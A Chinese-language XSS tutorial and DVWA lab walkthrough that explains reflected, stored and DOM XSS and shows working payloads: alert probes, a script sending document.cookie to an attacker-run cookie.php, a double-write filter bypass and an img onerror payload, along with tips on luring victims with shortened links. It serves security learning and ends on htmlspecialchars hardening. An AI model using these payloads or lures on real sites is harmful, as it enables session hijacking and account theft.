XSS主要原因: 过于信任客户端提交的数据!

XSS主要分类:
反射型xss攻击(Reflected XSS) 又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击)。

存储型XSS(Stored XSS) 又称为持久型跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS攻击危害性更大, 因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。

DOM型XSS,对于DOM型其实和反射性很像,也是能够在网页上快速的进行反映。只是参数是直接传入DOM树使用js来进行执行,只是可以在payload前加“#”,从而使其不发送到服务器端,只发送到浏览器,同样也可以使用img标签代替script标签执行JavaScript脚本。这里暂时不会介绍太多。

对于反射性比较经典的利用是cookie劫持。比如我们发现了一个反射性xss,它是通过get或者post进行工作,然后我们先搭建一个远程服务器,然后利用反射性重定向至我们的服务器的脚本记录下当前用户访问的cookie进行劫持。
自然,这样的难度比较高,首先由于入侵的反射是在response中,那么首先需要诱导用户发起request,建议可以进行一些社工诱导并且进行短链接变换。

还有就是从社工的思路来操作,比如点击链接后说“请登陆我们的新站点”

后面当然也有beef的钩子之类的,不过要让用户自己点击,难度还是不小

对于储存型,一旦出现这样的漏洞是非常危险的,储存在服务器上可以长期对访问用户进行攻击。

XSS渗透思路

反射型(owasp-low)

首先进行弹窗探测:<script>alert('xss')</script>
查看当前cookie:<script>alert(document.cookie)</script>

image-20250713014645185

探测成功,发现反射性漏洞。
接下来进行cookie劫持示例:
首先先开个攻击者服务器:
(这里我就开了自己的一个服务器,index是显示php版本)

image-20250713014721635

在服务器上写一个脚本:

image-20250713014733790

然后植入到xss点:

1
<script>window.open("http://127.0.0.1/cookie.php?cookie="+document.cookie)</script>

植入之后就是:

1
http://172.20.240.17/dvwa/vulnerabilities/xss_r/?name=<script>window.open("http://127.0.0.1/cookie.php?cookie="+document.cookie)</script>

当然你可以先url编码,一旦点击就能够劫持出cookie
值得一提的是很多浏览器的安全策略会禁止不信任的网站弹窗,这种方法的局限性较大,并且url不经过短链接变换是非常可疑的。

打开空白页,触发脚本(已允许弹窗)

image-20250713014831300

服务器端捕捉到cookie

image-20250713014852088

这里多点了几次 [^_^]
这里的利用就到这里

反射型(owasp-mid)

探测不起作用了,看看源码:

1
2
3
4
5
6
7
8
<?php if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){  
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . str_replace('<script>', '', $_GET['name']);
echo '</pre>';
}
?>

这里就是一个str_replace()过滤,显然可以使用双写绕过
payload:

<scrip<script>t>alert('xss')</script>

成功绕过:

image-20250713015058719

反射型(owasp-high)

由于版本问题,我这里已经是修复好的。
下面是我找到的(应该是版本问题)

image-20250713015145745

这里就是使用正则进行替换,显然script完全不能使用了。
但是能加载js脚本的标签不只有<script>,还有<img>,<iframe>

<img src="" οnerrοr="alert('xss')">

就像这样,利用onerror工作就行。
这里给出我的版本,是这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

$isempty = true;

} else {

echo '<pre>';
echo 'Hello ' . htmlspecialchars($_GET['name']);
echo '</pre>';

}

?>

这里使用了一个关键的函数htmlspecialchars()
来看看吧;

image-20250713015300561

image-20250713015307385

这里我们可以注意到 '单引号 默认情况下是 没有转换为实体的 所以有些时候我们也可以利用这一点来进行绕过闭合

这里多说一点,HTML实体编码 就是,将html可以解析的代码实体化,转化为字符,导致浏览器不能进行解析

能够转化为实体,大大提高了安全性。 注意设置**ENT_QUOTES** 参数